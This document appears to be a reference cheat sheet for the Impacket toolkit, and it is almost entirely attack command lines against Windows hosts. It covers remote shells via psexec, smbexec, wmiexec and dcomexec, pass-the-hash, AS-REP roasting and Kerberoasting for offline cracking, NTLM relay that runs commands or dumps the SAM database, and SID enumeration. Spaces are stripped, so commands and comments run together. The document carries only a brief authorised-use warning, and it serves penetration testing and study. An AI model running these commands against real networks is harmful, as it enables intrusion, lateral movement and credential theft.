Impacket is a collection of Python classes for working with network protocols. It provides low-level programmatic access to packets and implements several protocols including SMB, MSRPC, and Kerberos. Impacket includes numerous ready-to-use tools for penetration testing, particularly focused on Windows environments.
⚠️ Warning: Impacket is a security testing tool that should only be used in environments where you have explicit permission to do so.
# Execute command with explicit credentialspsexec.pyadministrator:Password123@192.168.1.100cmd.exe
# Execute command with domain credentialspsexec.pydomain/administrator:Password123@192.168.1.100cmd.exe
# Execute specific commandpsexec.pyadministrator:Password123@192.168.1.100"ipconfig /all"# Use hash instead of password (Pass-the-Hash)psexec.py-hashesaad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0administrator@192.168.1.100cmd.exe
# Execute with explicit credentialssmbexec.pyadministrator:Password123@192.168.1.100
# Execute with domain credentialssmbexec.pydomain/administrator:Password123@192.168.1.100
# Use hash instead of password (Pass-the-Hash)smbexec.py-hashesaad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0administrator@192.168.1.100
# Use PowerShell instead of cmdsmbexec.py-shell-typepowershelladministrator:Password123@192.168.1.100
# Execute with explicit credentialswmiexec.pyadministrator:Password123@192.168.1.100
# Execute with domain credentialswmiexec.pydomain/administrator:Password123@192.168.1.100
# Execute specific commandwmiexec.pyadministrator:Password123@192.168.1.100"ipconfig /all"# Use hash instead of password (Pass-the-Hash)wmiexec.py-hashesaad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0administrator@192.168.1.100
# Execute with explicit credentialsdcomexec.pyadministrator:Password123@192.168.1.100
# Execute with domain credentialsdcomexec.pydomain/administrator:Password123@192.168.1.100
# Execute with specific DCOM objectdcomexec.py-objectShellWindowsadministrator:Password123@192.168.1.100
# Use hash instead of password (Pass-the-Hash)dcomexec.py-hashesaad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0administrator@192.168.1.100
# Get users without Kerberos preauthentication with explicit credentialsGetNPUsers.pydomain/username:password-dc-ip192.168.1.100-request
# Get users without Kerberos preauthentication for specific userGetNPUsers.pydomain/username:password-dc-ip192.168.1.100-request-target-useruser1
# Get users without Kerberos preauthentication for all users in domainGetNPUsers.pydomain/-dc-ip192.168.1.100-usersfileusers.txt-formathashcat
# Use no credentials (anonymous)GetNPUsers.pydomain/-dc-ip192.168.1.100-no-pass
# Get SPNs with explicit credentialsGetUserSPNs.pydomain/username:password-dc-ip192.168.1.100-request
# Get SPNs for specific userGetUserSPNs.pydomain/username:password-dc-ip192.168.1.100-request-target-usersqlservice
# Output hashes in specific formatGetUserSPNs.pydomain/username:password-dc-ip192.168.1.100-request-formathashcat
# Use hash instead of password (Pass-the-Hash)GetUserSPNs.py-hashesaad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0domain/username-dc-ip192.168.1.100-request
# Connect with explicit credentialssmbclient.pyadministrator:Password123@192.168.1.100
# Connect with domain credentialssmbclient.pydomain/administrator:Password123@192.168.1.100
# Use hash instead of password (Pass-the-Hash)smbclient.py-hashesaad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0administrator@192.168.1.100
# Connect with explicit credentialsmssqlclient.pysa:Password123@192.168.1.100
# Connect with domain credentialsmssqlclient.pydomain/sqluser:Password123@192.168.1.100
# Use hash instead of password (Pass-the-Hash)mssqlclient.py-hashesaad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0sa@192.168.1.100
# Enable Windows authenticationmssqlclient.pydomain/sqluser:Password123@192.168.1.100-windows-auth
# Relay to specific targetntlmrelayx.py-tsmb://192.168.1.100-smb2support
# Relay to multiple targetsntlmrelayx.py-tftargets.txt-smb2support
# Execute command on successful relayntlmrelayx.py-tsmb://192.168.1.100-smb2support-c"whoami > C:\\temp\\whoami.txt"# Dump SAM database on successful relayntlmrelayx.py-tsmb://192.168.1.100-smb2support-d
# Start SOCKS proxyntlmrelayx.py-tftargets.txt-socks
# Enumerate SIDs with explicit credentialslookupsid.pyadministrator:Password123@192.168.1.100
# Enumerate SIDs with domain credentialslookupsid.pydomain/administrator:Password123@192.168.1.100
# Use hash instead of password (Pass-the-Hash)lookupsid.py-hashesaad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0administrator@192.168.1.100